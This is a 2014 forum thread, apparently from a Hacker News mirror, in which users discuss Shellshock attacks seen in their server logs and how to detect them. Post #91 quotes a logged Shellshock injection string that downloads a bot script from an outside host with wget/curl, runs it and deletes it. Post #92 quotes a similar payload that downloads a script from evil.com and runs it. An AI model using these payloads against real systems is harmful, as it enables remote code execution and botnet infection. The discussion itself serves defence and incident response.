Inside Shellshock: How hackers are using it to exploit systems • Hacker News Board

Re: Inside Shellshock: How hackers are using it to exploit systems

#91

Post by ralphc » Thu, Oct 02, 2014, 3:04 PM UTC

ralphc wrote: post #89

bjnord wrote: post #6

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

"() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" I have several lines like this in my logs. So I guess that someone tried (or succeeded) to download a script to my machine, run it & delete it? I think this could have happened before I patched & rebooted. How worried should I be?

Did some searching, looks like it tries to set up a botnet. One of the things this does is install nmap; the machine doesn't have nmap on it, makes me feel better.

Re: Inside Shellshock: How hackers are using it to exploit systems

#92

Post by meowface » Thu, Oct 02, 2014, 11:51 PM UTC

jgrahamc wrote: post #37

meowface wrote: post #19

Earlier quoted context omitted.

I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously. There aren't going to be that many popped servers because the number of Internet-facing web apps that use CG…

Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.

My organization has mostly been seeing more reconnaissance than actual code execution as well. I suspect, or perhaps just hope, that this is because most of the current scanning is being done by white hats/gray hats. I suspect the people who actually want to infect machines aren't bothering with reconnaissance.

Re: Inside Shellshock: How hackers are using it to exploit systems

#93

Post by meowface » Fri, Oct 03, 2014, 1:41 PM UTC

nitrogen wrote: post #43

meowface wrote: post #16

Earlier quoted context omitted.

Upon researching this, "() {" will always catch this. If you look at the bash source code, the relevant parsing function checks if an environment variable begins with the literal 4-character string of "() {". That's why it's pretty easy to detect exploits: you can't do anything to evade a filter checking for this in an HTTP header. An HTTP server should not be doing any decoding of an HTTP header that could result in…

Upon researching this, "() {" will always catch this. Unless the input is decoded in some way before reaching an environment variable. E.g. HTML entities, hex escapes (percent or backslash), gzip, ... Best just to patch bash and switch to a different /bin/sh.

I should have said "will always catch this for CGI servers and HTTP headers".

Re: Inside Shellshock: How hackers are using it to exploit systems

#94

Post by fragmede » Mon, Oct 06, 2014, 7:16 PM UTC

morgante wrote: post #77

fragmede wrote: post #72

Earlier quoted context omitted.

> I've never come across a popen/shell call in a web app which looked sane or secure to me. No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installa…

> You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid. Hahahahahaha, have you ever seen the Wordpress codebase? > Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise. True. I'm sure there are thousands (millions?) of compromised sit…

uh huh. http://webcache.googleusercontent.com/search?q=cache:I8s8KmZ...